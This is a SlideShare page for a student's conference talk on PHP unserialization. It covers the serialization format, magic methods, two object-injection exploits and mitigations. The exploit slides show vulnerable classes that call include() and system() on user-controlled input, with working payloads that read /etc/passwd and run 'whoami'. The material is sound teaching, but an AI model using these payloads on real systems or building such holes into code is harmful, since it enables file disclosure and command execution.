SlideShare a Scribd company logo
A Closer Look Into
PHP
Unserialization
S Ashwin Shenoi
php > system(“whoami”);
● S Ashwin Shenoi (@c3rb3ru5)
● 2nd year BTech CSE @ Amrita School of Engineering,
Amritapuri
● CTF Player @teambi0s
● Web Exploitation
● Organising team @InCTF and InCTFj
● Twitter: @__c3rb3ru5__
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
● Programmer defined data structure which consists of local data
(attributes or properties) as well as local functions.
php > echo “PHP Classes”;
class Test {
public $name;
public $age;
public function __construct( ) {
$this->name = "Ashwin";
$this->age = 19;
}
}
php > echo “PHP Objects”;
● An object is a data type which stores data and
information on how to process that data.
● An Object is an individual instance of the data
structure defined by a class.
● We define a class once and then make many objects that
belong to it.
$person = new Test( );
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Agenda”;
php > echo “What is serialization”;
● Converting a complex data structure such
as a class object or arrays into strings.
● Easier for transmission and storage.
● Stored representation of an object.
php > echo “What is serialization”;
● Example Scenarios:
○ Passing objects via URL Query parameters or cookies.
○ Storing object data in text or in a single database
field
■ serialize( ) the object to a string
■ Store the object into the database or text
■ unserialize( ) the stored string back to a PHP Object
php > serialization();
● Double
○ d:<value>;
○ d:12.1234;
● NULL
○ N;
● Integers
○ i:<value>;
○ i:100;
○ i:-200;
● Boolean
○ b:<value>;
○ b:1; // TRUE
○ b:0; // FALSE
php > serialization();
● Strings
○ s:<length>:“<value>”;
○ s:6:“Ashwin”;
● Arrays
○ a:<length>:{<key>;<value>;}
○ a:2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;}
■ // array( "name" => "Ashwin" , "age" => 19 );
php > $a = 5;
php > var_dump($a);
int(5)
php > echo serialize($a);
i:5;
php > $b = unserialize('i:5;');
php > echo $b;
5
php > var_dump($b);
int(5)
php > serialization();
php > $c = "Ashwin";
php > var_dump($c);
string(6) "Ashwin"
php > echo serialize($c);
s:6:"Ashwin";
php > $d =
unserialize('s:6:"Ashwin";');
php > echo $d;
Ashwin
php > var_dump($d);
string(6) "Ashwin"
php > serialization();
O:4:"Test":2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;}
object(Test)#1 (2) {
["name"]=>
string(6) "Ashwin"
["age"]=>
int(19)
}
O:<class name length>:"<class name>":<number of properties>:{ <properties> };
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “__Magic_Methods( )”;
● Reserved functions whose function names start with “__”.
● Magic methods are named after the specific action that leads
to their execution.
● All magic methods MUST be declared as public.
● Automatically called, so need not be explicitly called or
invoked.
● Magic methods can be called and executed after
unserialization.
php > echo “__Magic_Methods( )”;
__sleep( )
__wakeup( )
__toString( )
__invoke( )
__set_state( )
__clone( )
__debugInfo( )
__construct( )
__destruct( )
__call( )
__callStatic( )
__get( )
__set( )
__isset( )
__unset( )
php > echo “__Magic_Methods( )”;
● __construct( )
○ Normally used to initialise data in variables.
○ First method called after object creation.
○ If you do not explicitly declare it, then there will be a
default constructor with no parameters and empty content in
the class.
php > echo “__Magic_Methods( )”;
● __destruct( )
○ Perform some operations before destroying an object, such as
closing a file, etc
○ Called as soon as there are no other references to a
particular object, or in any order during the shutdown
sequence.
○ Unlike the constructor the destructor cannot have any
parameters.
php > echo “__Magic_Methods( )”;
● __wakeup( )
○ Called as soon as PHP encounters a unserialize( ) function.
○ Often used to rebuild database connections, or perform other
initialization operations.
○ This is kind of like the opposite of what the __sleep( ) magic
function does, which is automatically called when serialize( )
function is called.
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
So how on earth is this vulnerable?
php > echo “Vulnerability”;
● unserialize( ) function is SECURE, IF USER CANNOT
INFLUENCE THE INPUT.
php > echo “Vulnerability”;
● In order to successfully exploit an unserialize bug, two
conditions HAVE to be satisfied:
○ PHP Magic Method (eg. __destruct or __wakeup), that has
malicious code, or can start a POP chain.
○ All classes used for the attack should be declared and
imported properly by the time of unserialization, or else it
has to support class autoloading.
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Exploit 1”;
class Example1 {
public $file;
public function __construct( ) {
// Random PHP Code
}
public function __destruct( ) {
if ( file_exists ( $this->file ) ) {
include ( $this->file );
}
}
}
…..
// Random PHP Code
$data = unserialize($_GET[‘input’]);
// Random PHP Code
…..
php > echo “Exploit 1”;
…..
public function __destruct( ) {
if ( file_exists ( $this->file ) ) {
include ( $this->file );
}
}
…..
$data = unserialize($_GET[‘input’]);
http://example.com/?input=O:8:"Example1":1:{s:4:"file";s:11:"/etc/passwd";}
php > echo “Exploit 2”;
class Example2 {
public $cmd;
public function __construct( ) {
// Random PHP Code
}
public function __wakeup( ) {
if ( isset ( $this->cmd ) ) {
system ( $this->cmd );
}
}
}
…..
// Random PHP Code
$data = unserialize($_COOKIE[‘input’]);
// Random PHP Code
…..
php > echo “Exploit 2”;
…..
public function __wakeup( ) {
if ( isset ( $this->cmd ) ) {
system ( $this->cmd );
}
}
…..
$data = unserialize($_COOKIE[‘input’]);
GET / HTTP/1.1
Host: example.com
Cookie: input=O:8:"Example2":1:{s:3:"cmd";s:6:"whoami";}
Let’s get to a demo
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Mitigation”;
● PHP7 has added an additional parameter, “options”, to
the unserialize( ) function.
○ unserialize($str, [‘allowed classes’ => false]);
● Never use the unserialize( ) function on user
controllable input.
● Instead use JSON format.
○ json_encode( )
○ json_decode( )
Questions ?

More Related Content

PDF
PHP Object Injection Vulnerability in WordPress: an Analysis
PDF
PHP Static Code Review
PDF
Security Meetup 22 октября. «Реверс-инжиниринг в Enterprise». Алексей Секрето...
PDF
PDF
Melhorando sua API com DSLs
PDF
Drupal Render API
PDF
“Writing code that lasts” … or writing code you won’t hate tomorrow. - PHPKonf
PDF
Your code sucks, let's fix it
PHP Object Injection Vulnerability in WordPress: an Analysis
PHP Static Code Review
Security Meetup 22 октября. «Реверс-инжиниринг в Enterprise». Алексей Секрето...
Melhorando sua API com DSLs
Drupal Render API
“Writing code that lasts” … or writing code you won’t hate tomorrow. - PHPKonf
Your code sucks, let's fix it

What's hot (19)

PDF
The Beauty and the Beast
PDF
Php unit the-mostunknownparts
PPTX
Drupal 8 migrate!
PPTX
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
KEY
Lithium Best
PDF
Jiemamy inside 1
PDF
Drupal Field API. Practical usage
PPT
Quebec pdo
PDF
Current state-of-php
PDF
Laravel doctrine
PDF
What is DDD and how could it help you
PDF
The Origin of Lithium
PDF
Decoupling Objects With Standard Interfaces
PDF
PHPCon 2016: PHP7 by Witek Adamus / XSolve
PDF
The Beauty And The Beast Php N W09
PPTX
Open Source Search: An Analysis
PDF
Xlab #1: Advantages of functional programming in Java 8
PDF
PHPUnit your bug exterminator
PDF
Datastruct2
The Beauty and the Beast
Php unit the-mostunknownparts
Drupal 8 migrate!
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
Lithium Best
Jiemamy inside 1
Drupal Field API. Practical usage
Quebec pdo
Current state-of-php
Laravel doctrine
What is DDD and how could it help you
The Origin of Lithium
Decoupling Objects With Standard Interfaces
PHPCon 2016: PHP7 by Witek Adamus / XSolve
The Beauty And The Beast Php N W09
Open Source Search: An Analysis
Xlab #1: Advantages of functional programming in Java 8
PHPUnit your bug exterminator
Datastruct2
Ad

Similar to Closer look at PHP Unserialization by Ashwin Shenoi (20)

PDF
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
PPTX
FFW Gabrovo PMG - PHP OOP Part 3
PDF
PHP unserialization vulnerabilities: What are we missing?
PPTX
OOP in PHP.pptx
PDF
Preparing for the next PHP version (5.6)
PDF
Php 5.6 From the Inside Out
PPT
UNIT-IV WT web technology for 1st year cs
PPTX
PHP 5 Magic Methods
PDF
Damien seguy php 5.6
PDF
New PHP Exploitation Techniques
PDF
PPTX
20 cool features that is in PHP 7, we missed in PHP 5. Let walkthrough with t...
PDF
php_final_sy_semIV_notes_vision.pdf
PDF
php_final_sy_semIV_notes_vision (3).pdf
PDF
php_final_sy_semIV_notes_vision.pdf
PDF
php_final_sy_semIV_notes_vision.pdf
ODP
Php in 2013 (Web-5 2013 conference)
PPT
Advanced php
PPTX
Lecture-10_PHP-OOP.pptx
PDF
Understanding PHP objects
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
FFW Gabrovo PMG - PHP OOP Part 3
PHP unserialization vulnerabilities: What are we missing?
OOP in PHP.pptx
Preparing for the next PHP version (5.6)
Php 5.6 From the Inside Out
UNIT-IV WT web technology for 1st year cs
PHP 5 Magic Methods
Damien seguy php 5.6
New PHP Exploitation Techniques
20 cool features that is in PHP 7, we missed in PHP 5. Let walkthrough with t...
php_final_sy_semIV_notes_vision.pdf
php_final_sy_semIV_notes_vision (3).pdf
php_final_sy_semIV_notes_vision.pdf
php_final_sy_semIV_notes_vision.pdf
Php in 2013 (Web-5 2013 conference)
Advanced php
Lecture-10_PHP-OOP.pptx
Understanding PHP objects
Ad

More from Cysinfo Cyber Security Community (20)

PDF
Understanding Malware Persistence Techniques by Monnappa K A
PDF
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
PDF
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
PPTX
Emerging Trends in Cybersecurity by Amar Prusty
PDF
A look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
PDF
Unicorn: The Ultimate CPU Emulator by Akshay Ajayan
PDF
The Art of Executing JavaScript by Akhil Mahendra
PDF
Reversing and Decrypting Malware Communications by Monnappa
PPTX
DeViL - Detect Virtual Machine in Linux by Sreelakshmi
PPTX
Analysis of android apk using adhrit by Abhishek J.M
PDF
Understanding evasive hollow process injection techniques monnappa k a
PPTX
Security challenges in d2d communication by ajithkumar vyasarao
PPTX
S2 e (selective symbolic execution) -shivkrishna a
PPTX
Dynamic binary analysis using angr siddharth muralee
PPTX
Bit flipping attack on aes cbc - ashutosh ahelleya
PDF
Security Analytics using ELK stack
PDF
Linux Malware Analysis
ODP
Introduction to Binary Exploitation
PDF
ATM Malware: Understanding the threat
PPTX
XXE - XML External Entity Attack
Understanding Malware Persistence Techniques by Monnappa K A
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
Emerging Trends in Cybersecurity by Amar Prusty
A look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
Unicorn: The Ultimate CPU Emulator by Akshay Ajayan
The Art of Executing JavaScript by Akhil Mahendra
Reversing and Decrypting Malware Communications by Monnappa
DeViL - Detect Virtual Machine in Linux by Sreelakshmi
Analysis of android apk using adhrit by Abhishek J.M
Understanding evasive hollow process injection techniques monnappa k a
Security challenges in d2d communication by ajithkumar vyasarao
S2 e (selective symbolic execution) -shivkrishna a
Dynamic binary analysis using angr siddharth muralee
Bit flipping attack on aes cbc - ashutosh ahelleya
Security Analytics using ELK stack
Linux Malware Analysis
Introduction to Binary Exploitation
ATM Malware: Understanding the threat
XXE - XML External Entity Attack

Recently uploaded (20)

PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
NewMind AI Monthly Chronicles - July 2025
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Machine learning based COVID-19 study performance prediction
PDF
Empathic Computing: Creating Shared Understanding
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
KodekX | Application Modernization Development
PPTX
Cloud computing and distributed systems.
PDF
Encapsulation theory and applications.pdf
PDF
Spectral efficient network and resource selection model in 5G networks
PPTX
Big Data Technologies - Introduction.pptx
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
Electronic commerce courselecture one. Pdf
PPTX
A Presentation on Artificial Intelligence
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
20250228 LYD VKU AI Blended-Learning.pptx
NewMind AI Monthly Chronicles - July 2025
Encapsulation_ Review paper, used for researhc scholars
Dropbox Q2 2025 Financial Results & Investor Presentation
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Machine learning based COVID-19 study performance prediction
Empathic Computing: Creating Shared Understanding
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
KodekX | Application Modernization Development
Cloud computing and distributed systems.
Encapsulation theory and applications.pdf
Spectral efficient network and resource selection model in 5G networks
Big Data Technologies - Introduction.pptx
Chapter 3 Spatial Domain Image Processing.pdf
Electronic commerce courselecture one. Pdf
A Presentation on Artificial Intelligence
Diabetes mellitus diagnosis method based random forest with bat algorithm
Per capita expenditure prediction using model stacking based on satellite ima...

Closer look at PHP Unserialization by Ashwin Shenoi

  • 1. A Closer Look Into PHP Unserialization S Ashwin Shenoi
  • 2. php > system(“whoami”); ● S Ashwin Shenoi (@c3rb3ru5) ● 2nd year BTech CSE @ Amrita School of Engineering, Amritapuri ● CTF Player @teambi0s ● Web Exploitation ● Organising team @InCTF and InCTFj ● Twitter: @__c3rb3ru5__
  • 3. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 4. ● Programmer defined data structure which consists of local data (attributes or properties) as well as local functions. php > echo “PHP Classes”; class Test { public $name; public $age; public function __construct( ) { $this->name = "Ashwin"; $this->age = 19; } }
  • 5. php > echo “PHP Objects”; ● An object is a data type which stores data and information on how to process that data. ● An Object is an individual instance of the data structure defined by a class. ● We define a class once and then make many objects that belong to it. $person = new Test( );
  • 6. ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation php > echo “Agenda”;
  • 7. php > echo “What is serialization”; ● Converting a complex data structure such as a class object or arrays into strings. ● Easier for transmission and storage. ● Stored representation of an object.
  • 8. php > echo “What is serialization”; ● Example Scenarios: ○ Passing objects via URL Query parameters or cookies. ○ Storing object data in text or in a single database field ■ serialize( ) the object to a string ■ Store the object into the database or text ■ unserialize( ) the stored string back to a PHP Object
  • 9. php > serialization(); ● Double ○ d:<value>; ○ d:12.1234; ● NULL ○ N; ● Integers ○ i:<value>; ○ i:100; ○ i:-200; ● Boolean ○ b:<value>; ○ b:1; // TRUE ○ b:0; // FALSE
  • 10. php > serialization(); ● Strings ○ s:<length>:“<value>”; ○ s:6:“Ashwin”; ● Arrays ○ a:<length>:{<key>;<value>;} ○ a:2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;} ■ // array( "name" => "Ashwin" , "age" => 19 );
  • 11. php > $a = 5; php > var_dump($a); int(5) php > echo serialize($a); i:5; php > $b = unserialize('i:5;'); php > echo $b; 5 php > var_dump($b); int(5) php > serialization(); php > $c = "Ashwin"; php > var_dump($c); string(6) "Ashwin" php > echo serialize($c); s:6:"Ashwin"; php > $d = unserialize('s:6:"Ashwin";'); php > echo $d; Ashwin php > var_dump($d); string(6) "Ashwin"
  • 12. php > serialization(); O:4:"Test":2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;} object(Test)#1 (2) { ["name"]=> string(6) "Ashwin" ["age"]=> int(19) } O:<class name length>:"<class name>":<number of properties>:{ <properties> };
  • 13. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 14. php > echo “__Magic_Methods( )”; ● Reserved functions whose function names start with “__”. ● Magic methods are named after the specific action that leads to their execution. ● All magic methods MUST be declared as public. ● Automatically called, so need not be explicitly called or invoked. ● Magic methods can be called and executed after unserialization.
  • 15. php > echo “__Magic_Methods( )”; __sleep( ) __wakeup( ) __toString( ) __invoke( ) __set_state( ) __clone( ) __debugInfo( ) __construct( ) __destruct( ) __call( ) __callStatic( ) __get( ) __set( ) __isset( ) __unset( )
  • 16. php > echo “__Magic_Methods( )”; ● __construct( ) ○ Normally used to initialise data in variables. ○ First method called after object creation. ○ If you do not explicitly declare it, then there will be a default constructor with no parameters and empty content in the class.
  • 17. php > echo “__Magic_Methods( )”; ● __destruct( ) ○ Perform some operations before destroying an object, such as closing a file, etc ○ Called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. ○ Unlike the constructor the destructor cannot have any parameters.
  • 18. php > echo “__Magic_Methods( )”; ● __wakeup( ) ○ Called as soon as PHP encounters a unserialize( ) function. ○ Often used to rebuild database connections, or perform other initialization operations. ○ This is kind of like the opposite of what the __sleep( ) magic function does, which is automatically called when serialize( ) function is called.
  • 19. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 20. So how on earth is this vulnerable?
  • 21. php > echo “Vulnerability”; ● unserialize( ) function is SECURE, IF USER CANNOT INFLUENCE THE INPUT.
  • 22. php > echo “Vulnerability”; ● In order to successfully exploit an unserialize bug, two conditions HAVE to be satisfied: ○ PHP Magic Method (eg. __destruct or __wakeup), that has malicious code, or can start a POP chain. ○ All classes used for the attack should be declared and imported properly by the time of unserialization, or else it has to support class autoloading.
  • 23. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 24. php > echo “Exploit 1”; class Example1 { public $file; public function __construct( ) { // Random PHP Code } public function __destruct( ) { if ( file_exists ( $this->file ) ) { include ( $this->file ); } } } ….. // Random PHP Code $data = unserialize($_GET[‘input’]); // Random PHP Code …..
  • 25. php > echo “Exploit 1”; ….. public function __destruct( ) { if ( file_exists ( $this->file ) ) { include ( $this->file ); } } ….. $data = unserialize($_GET[‘input’]); http://example.com/?input=O:8:"Example1":1:{s:4:"file";s:11:"/etc/passwd";}
  • 26. php > echo “Exploit 2”; class Example2 { public $cmd; public function __construct( ) { // Random PHP Code } public function __wakeup( ) { if ( isset ( $this->cmd ) ) { system ( $this->cmd ); } } } ….. // Random PHP Code $data = unserialize($_COOKIE[‘input’]); // Random PHP Code …..
  • 27. php > echo “Exploit 2”; ….. public function __wakeup( ) { if ( isset ( $this->cmd ) ) { system ( $this->cmd ); } } ….. $data = unserialize($_COOKIE[‘input’]); GET / HTTP/1.1 Host: example.com Cookie: input=O:8:"Example2":1:{s:3:"cmd";s:6:"whoami";}
  • 28. Let’s get to a demo
  • 29. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 30. php > echo “Mitigation”; ● PHP7 has added an additional parameter, “options”, to the unserialize( ) function. ○ unserialize($str, [‘allowed classes’ => false]); ● Never use the unserialize( ) function on user controllable input. ● Instead use JSON format. ○ json_encode( ) ○ json_decode( )